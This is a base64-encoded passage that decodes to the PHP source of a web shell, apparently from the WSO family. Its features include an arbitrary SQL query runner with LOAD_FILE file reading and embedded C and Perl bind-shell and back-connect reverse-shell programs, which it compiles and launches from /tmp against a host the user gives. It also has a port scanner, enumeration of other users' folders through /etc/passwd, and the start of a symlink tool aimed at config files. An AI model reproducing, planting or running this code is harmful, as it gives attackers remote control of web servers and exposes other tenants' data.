ICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4+JzsKICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAxOwogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR0aXRsZSkgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNldCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj48dHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9ICRsaW5lPT0xPzI6MTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdmFsdWUgPT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBuYW1lPSdwMycgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iLkBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSkuIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RkPjwvdHI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPjxmb3JtIG9uc3VibWl0PSdkb2N1bWVudC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7CiAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRfUE9TVFsncDInXSkuIicpIGFzIGZpbGUiKTsKICAgICAgICAgICAgICAgICRmaWxlID0gJGRiLT5mZXRjaCgpOwogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOwogICAgICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICAkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBJSHNOQ2lBZ0lDQnBiblFnWm1RN0RRb2dJQ0FnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUhOcGJqc05DaUFnSUNCa1lXVnRiMjRvTVN3d0tUc05DaUFnSUNCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nSUNBZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNOQ2lBZ0lDQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNOQ2lBZ0lDQnBaaUFvS0dOdmJtNWxZM1FvWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNBZ0lDQWdJSEJsY25KdmNpZ2lRMjl1Ym1WamRDQm1ZV2xzSWlrN0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0FnSUgwTkNpQWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F4S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkNpQWdJQ0J6ZVhOMFpXMG9JaTlpYVc0dmMyZ2dMV2tpS1RzTkNpQWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7CiAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKICAgICRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOwogICAgJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwogICAgCiAgICBlY2hvICc8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT1cJ25mcFwnIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnBhc3MudmFsdWUpO3JldHVybiBmYWxzZTsiPgogICAgPGJyIC8+PHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4+PGJyLz4KICAgIFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwYXNzXCcgdmFsdWU9XCdUZWFcJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0idXNpbmciPjxvcHRpb24gdmFsdWU9XCdicGNcJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2JwcFwnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+CiAgICA8L2Zvcm0+CiAgICA8Zm9ybSBuYW1lPVwnbmZwXCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KICAgIDxiciAvPjxiciAvPjxzcGFuPkJhY2stY29ubmVjdCB0bzwvc3Bhbj48YnIvPgogICAgU2VydmVyOiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwnc2VydmVyXCcgdmFsdWU9IicuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJyI+IFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0idXNpbmciPjxvcHRpb24gdmFsdWU9XCdiY2NcJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2JjcFwnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+CiAgICA8L2Zvcm0+PGJyPic7ICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgewogICAgICAgIGZ1bmN0aW9uIGNmKCRmLCR0KSB7CiAgICAgICAgICAgICR3PUBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7CiAgICAgICAgICAgIGlmKCR3KSAgICB7CiAgICAgICAgICAgICAgICBAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZwdXRzKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRmLEBiYXNlNjRfZGVjb2RlKCR0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCR3KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwYycpIHsKICAgICAgICAgICAgY2YoIi90bXAvYnAuYyIsJGJpbmRfcG9ydF9jKTsKICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8gL3RtcC9icCAvdG1wL2JwLmMiKTsKICAgICAgICAgICAgQHVubGluaygiL3RtcC9icC5jIik7CiAgICAgICAgICAgICRvdXQgLj0gZXgoIi90bXAvYnAgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBicCIpLiI8L3ByZT4iOwogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsKICAgICAgICAgICAgY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRfcCk7CiAgICAgICAgICAgICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iICYiKTsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOwogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjYycpIHsKICAgICAgICAgICAgY2YoIi90bXAvYmMuYyIsJGJhY2tfY29ubmVjdF9jKTsKICAgICAgICAgICAgJG91dCA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsKICAgICAgICAgICAgQHVubGluaygiL3RtcC9iYy5jIik7CiAgICAgICAgICAgICRvdXQgLj0gZXgoIi90bXAvYmMgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBiYyIpLiI8L3ByZT4iOwogICAgICAgIH0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsKICAgICAgICAgICAgY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7CiAgICAgICAgICAgICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblBvcnRTY2FubmVyKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5Qb3J0IFNjYW5uZXI8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydlbmQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3N0YXJ0J10pKXsKICAgICAgICAkc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnc3RhcnQnXSk7CiAgICAgICAgJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydlbmQnXSk7CiAgICAgICAgJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTsKICAgICAgICBmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsKICAgICAgICAgICAgJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7CiAgICAgICAgICAgIGlmKCRmcCl7CiAgICAgICAgICAgICAgICBlY2hvICdQb3J0ICcuJGkuJyBpcyA8Zm9udCBjb2xvcj1ncmVlbj5vcGVuPC9mb250Pjxicj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICc8YnIgLz48YnIgLz48Y2VudGVyPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJQb3J0U2Nhbm5lciI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT1wMT48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwMiI+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgIEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgUG9ydCBzdGFydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjxiciAvPjxiciAvPgogICAgICAgICAgICAgIFBvcnQgZW5kOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI1MDAwIi8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+CiAgICAgICAgICAgICAgPC9mb3JtPjwvY2VudGVyPjxiciAvPjxiciAvPic7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsgICAgCn0KCmZ1bmN0aW9uIGFjdGlvblJlYWRhYmxlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5SZWFkYWJsZSBEaXJzPC9oMT4nOwogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsKICAgICRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwogICAgaWYoJHNtKSB7CiAgICAgICAgZWNobyAnPGJyIC8+PGI+RXJyb3I6IHNhZmVfbW9kZSA9IG9uPC9iPjxiciAvPjxiciAvPic7CiAgICB9IGVsc2UgewogICAgICAgIEAkcGFzc3dkID0gZm9wZW4oJy9ldGMvcGFzc3dkJywncicpOwogICAgICAgIGlmICghJHBhc3N3ZCkgeyAKICAgICAgICAgICAgZWNobyAnPGJyIC8+PGI+Wy1dIEVycm9yIDogY291ZG5gdCByZWFkIC9ldGMvcGFzc3dkPC9iPjxiciAvPjxiciAvPic7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwdWIgPSBhcnJheSgpOwogICAgICAgICAgICAkdXNlcnMgPSBhcnJheSgpOwogICAgICAgICAgICAkY29uZiA9IGFycmF5KCk7CiAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIHsKICAgICAgICAgICAgICAgICRzdHIgPSBmZ2V0cygkcGFzc3dkKTsKICAgICAgICAgICAgICAgIGlmICgkaSA+IDM1KSB7CiAgICAgICAgICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7CiAgICAgICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTsKICAgICAgICAgICAgICAgICAgICAkZGlyeiA9ICcvaG9tZS8nLiR1c2VybmFtZS4nL3B1YmxpY19odG1sLyc7CiAgICAgICAgICAgICAgICAgICAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8YnI+PGJyPic7CiAgICAgICAgICAgIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiIuIjxiciAvPiI7CiAgICAgICAgICAgIGVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwdWIpLiIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXNcbiIuIjxiciAvPjxiciAvPjxiciAvPiI7CiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgewogICAgICAgICAgICAgICAgJHBhdGggPSAiL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsKICAgICAgICAgICAgICAgIGVjaG8gJHBhdGguIjxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjxiciAvPjxiciAvPjxiciAvPlsrXSBDb21wbGV0ZS4uLlxuIi4iPGJyIC8+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsgICAgCn0KCmZ1bmN0aW9uIGFjdGlvblN5bWxpbmsoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlN5bWxpbms8L2gxPic7CiAgICAkZnVybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgICRleHBsZCA9IGV4cGxvZGUoJy8nLCRmdXJsICk7CiAgICAkYnVybCA9c3RyX3JlcGxhY2UoZW5kKCRleHBsZCksJycsJGZ1cmwpOyAgCiAgICAKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPjxjZW50ZXI+CiAgICAgICAgICAgICAgICA8aDM+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3ZWJzaXRlXCcsbnVsbCkiPkRvbWFpbnM8L2E+IF0gLSAKICAgICAgICAgICAgICAgICAgICBbIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ3dob2xlXCcsbnVsbCkiPldob2xlIFNlcnZlciBTeW1saW5rPC9hPiBdIC0gCiAgICAgICAgICAgICAgICAgICAgWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCdjb25maWdcJyxudWxsKSI+Q29uZmlnIGZpbGVzIHN5bWxpbms8L2E+IF08L2gzPjwvY2VudGVyPic7CiAgICAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nd2Vic2l0ZScpCiAgICB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4iOwogICAgICAgICRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwogICAgICAgIGlmKCEkZDBtYWlucyl7IAogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPkNhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgY2xhc3